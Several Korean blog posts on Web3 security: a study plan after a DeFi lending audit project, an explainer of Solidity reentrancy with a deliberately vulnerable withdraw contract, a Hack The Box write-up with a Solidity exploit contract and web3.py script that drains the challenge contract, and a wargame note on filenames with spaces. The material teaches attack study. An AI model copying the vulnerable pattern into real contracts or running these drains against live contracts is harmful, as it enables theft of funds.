반응형

 

4개월간의 업사이드아카데미 1기 DeepHigh팀 팀장으로서의 활동을 끝내고, 어떤 공부를 해야할지를 고민해보다가 프로젝트 내용에 대해 내가 정말 완벽히 이해하고있는가를 생각해보았다.

작업했던 모든 산출물을 완벽하게 이해하고있는지에 대해 우선적으로 생각해 보았고, 더 공부하고 발전시킬 부분이 있다고 생각하였다.

프로젝트의 주제는 Defi Lending Protocol Audit이었으며, 이에 대한 산출물은 EVM기반 Lending 프로토콜에 대한 위협모델링 및 관련 자료들이다. 구체적인 내용은 아래 내용을 통해 알 수 있다. 

https://deephigh.gitbook.io/deephigh

 

Welcome | DeepHigh

Welcome

deephigh.gitbook.io

실제 위협모델링을 통해 Lending 프로토콜상의 취약점을 찾아보고자 했지만, 정말 사소한 몇 가지 말고는 찾지 못한 것이 다소 아쉽다.

업사이드아카데미 활동에 대한 내용은 추후 시간이 된다면 작성해보고싶다.


내가 생각하는, 프로젝트 기간동안(교육기간 제외) 공부 및 산출한 결과는 다음과 같다.

 

공부 (docs, code 포함)

  1. EVM-based Lending 생태계에 대한 전반적인 이해
  2. Compound v2, Venus protocol에 대한 90% 이해
  3. Euler v2에 대한 70%정도의 이해
  4. BIFI (Bifrost Lending), BendDAO v2에 대한 30~50% 이해

산출물

  1. Defi Lending protocol threat modeling framework 제시 및 threat modeling
  2. Lending Invariant Checklist 제시
  3. 위협모델링, Checklist에 대한 Validation

이처럼, Lending Protocol에 대해, 그리고 다소 정책(?)에 대한 내용인 위협모델링이라는 것에 대해 공부해보면서, Defi에 대한 정말 전체적인 공부를 해보고싶은 생각이 들었다.


본인은 이제 3개월정도 뒤면 병역의무를 수행하러 군대에 가야하는데, 그 전까지 최대한 많은 공부를 해보고싶다는 생각이 들었다. 그래서 내가 어떠한 것을 더 배워야할지 정리해보았다.

  1. 공부한 내용 기록 남기기
    1. Compound v2는 무조건 남길 것 같다. (마지막에 별첨 느낌으로 Venus도 다루지 않을까?)
    2. Euler v2도 남길 것 같다. (compound v2와 구조적으로 다르면서 독특한 특징이 여럿 있어 꽤나 흥미로운 녀석이다.)
  2. 공부할 내용 남기기
    1. Aave v3 (TVL 1위인 프로토콜은 보는게 맞지…)
    2. Leverage Lending, NFT 담보대출 등 Lending의 특수기능을 구현한 프로토콜에 대해 공부할 것 같다.

본 스터디에 대한 나의 목적은, 공부한 프로토콜에 대해 누군가 질문을 했을 때, 해당 질문에 대한 정확한 설명, 그리고 어떻게 구현되어있는지까지 모든 것을 답할 수 있을 정도로 공부를 해보고자 한다.

 

추가하고 싶은 내용, 추가하지 않아도 될 것 같은 내용 등이 있으면 언제든 이 글을 수정해보도록 해야겠다.

많은 사람들, 특히 한국인들이 내 포스팅을 통해 Lending protocol에 대한 흥미를 키울 수 있다면 좋을 것 같다.

 

대략적인(예상되는) 앞으로의 포스팅 순서

1. Compound v2: 아무래도 나는 보안공부를 하는사람이니... Compound v2 fork에서 발생했던 사고사례분석도 더해볼까 한다.

2. Aave v3

3. Euler v2

4. BendDAO (이건 안할수도 있을 것 같다.)

반응형
반응형

지금까지 몇개월정도 Web3 offensive 보안 공부를 하면서 취약한 컨트랙트를 보면 일단 call()함수가 사용되었나를 보고, 사용되었으면 reentrancy attack이 가능하겠다~ 정도를 생각해왔다.

그리고, call{value: }() 함수 사용으로 인한 reentrancy attack의 countermeasure로 사용되는 함수가 send(), transfer() 인 것으로 생각하고 있었다.

그런데 몇몇 자료들을 찾아다니다보니, 꼭 그런것도 아니겠구나 싶었다. 오히려 send(), trnasfer() 함수가 reentrancy attack을 유발할 수 있겠구나 싶었다.

이 내용을 한번 자세히 정리해보고자 한다.

 


지난번 포스팅에서 송금 관련 함수들 (send, transfer, call)에 대해 다룬 적이 있었다. 한번 들어가서 보고와도 좋을 것 같다.

 

[Web3 개발/보안] Solidity payable / transfer, call, send / 송금 관련 함수 다루기

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 tran

nullorm.tistory.com


Reentrancy attack (재진입 공격)

말 그대로 attacker가 victim contract의 송금 함수를 여러번 실행하도록 하는 공격이다. 예시를 한번 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] = balance[msg.sender] - 1; // ... 3
	}
}

이렇게 생긴 Victim 컨트랙트가 있다고 할 때, Attacker가 withdraw() 함수를 정상적으로 실행하면,

1. require()에서 잔액이 1 이더 이상 있는지 물어보고

2. 1 이더를 msg.sender(Attacker)에게 보내주고

3. msg.sender(attacker)의 잔액을 1만큼 감소시켜준다.

 

여기까지 봤을 때는 아무런 문제가 없어보인다. 하지만... Solidity에는 receive(), fallback() 메소드가 존재한다.

receive() method

Web3 생태계는 아무래도 돈을 송금하는 기능에 초점을 맞춘 기능이 많다보니 receive()와 같은 메소드가 생겨났다.   

receive() 는 컨트랙트의 함수를 호출하는 것이 아니라, 컨트랙트에 이더를 송금했을 때 실행되는 부분이라고 보면 된다.

예시를 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] -= 1; // ... 3
	}
	
	receive() external payable {
		balance[msg.sender] += msg.value;
	}
}

위의 컨트랙트를 살펴보면, receive() 메소드를 통해 msg.sender 주소의 balance 매핑을 증가시켜주는 것을 알 수 있다.

그렇다면, 이러한 receive() 메서드를 통해 어떻게 공격을 할 수 있다는 것일까?

좌측: victim, 우측: attacker

 

우측 컨트랙트에서 doWithdraw()를 실행시켜 좌측 컨트랙트의 withdraw()함수를 실행시키면...

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

3. msg.sender의 balance를 1만큼 감소시킨다. 

지금까지는 이런 줄 알았지만 사실은,

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: doSomething

3. msg.sender의 balance를 1만큼 감소시킨다. 

이런 순서로 진행되는 것이다.

 

그런데, 여기에서 중요한 취약점은, require()에서 잔액을 검사하고, call()을 한 뒤에, balance를 감소시킨다.

그런데, balance 매핑을 감소시키기 전에, receive()가 실행되어 다른 동작을 할 수 있다.

이를 조금 악용해볼까?

우측 컨트랙트의 "//doSomething" 부분만 수정하였다.

이렇게 되면, 어떤 과정으로 실행되는지 다시 보자.

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 msg.sender에게 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

   2-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

   2-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

        2-4-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

        2-4-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

        2-4-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

        2-4-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

              ...

              ...

              ...

3. msg.sender의 balance를 1만큼 감소시킨다. 

 

이런 순서로 진행되는 것이다.

결국, Victim 컨트랙트는 더이상 송금을 할 수 있는 이더가 없을 때 까지 attacker에게 송금을 하게 될 것이고, 가진 모든 이더를 빼앗기게 될 것이다.

 

이게 가능한 이유는?

call()함수가 transfer(), send() 함수와 다르게, gas의 최대 사용량이 한정되지 않고 로직에 따라 gas 사용량이 가변적이기 때문에, call() 함수가 상대적으로 재진입공격에 취약한 것이고 transfer, send 함수가 안전하다고 하는 것이다.


send(), transfer() 함수의 취약성

그런데, 사실 send(), transfer() 함수도 취약하다고 본다.

https://consensys.io/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

이 자료를 보면, 특정 Opcode 실행 시 gas fee를 변경하면서부터, gas fee를 제한하는 것을 통한 countermeasure가 별로 의미있지 않게 된 다는 것이다. 즉, gas fee가 내려간다면 2300 gas만으로도 재진입공격이 가능해질 수 있고, gas fee가 올라가게 된다면, 정상 컨트랙트도 실행을 실패하게될 수 있다는 것이다.

따라서 이제는, send / transfer 함수를 통해 송금을 구현하는 것 보다는, call{value:, gas:}("") 의 형태로 구현하는 것이 더욱 바람직할 것이라고 한다.

 

반응형
반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형
반응형

dd

다음 레벨을 위한 패스워드는 spaces in this filename이라는 파일 안에 담겨져 있다고 한다.

어? 굉장히 이지 하구만.. 하면서 cat으로 실행해보면

각각의 단어로 이루어진 파일들이 존재하지 않는다고 한다.

cat 명령어는 공백을 기준으로 서로 다른 파일이라고 인식하기 때문에 이런 경우 각각, spaces, in, this, filename 이라는 각기 다른 이름의 파일로 인식하여 실행을 시도한다.

따라서 이를 해결하려면 공백을 무시할 수 있도록 해야한다,

두 가지 해결 방법이 존재하는데,(더 있을 수도 있음...)

1. 따옴표로 묶기

2. '\' 기호 사용하기

이렇게 하면 공백을 같이 볼 수 있다.

 

 

성공``~

반응형

+ Recent posts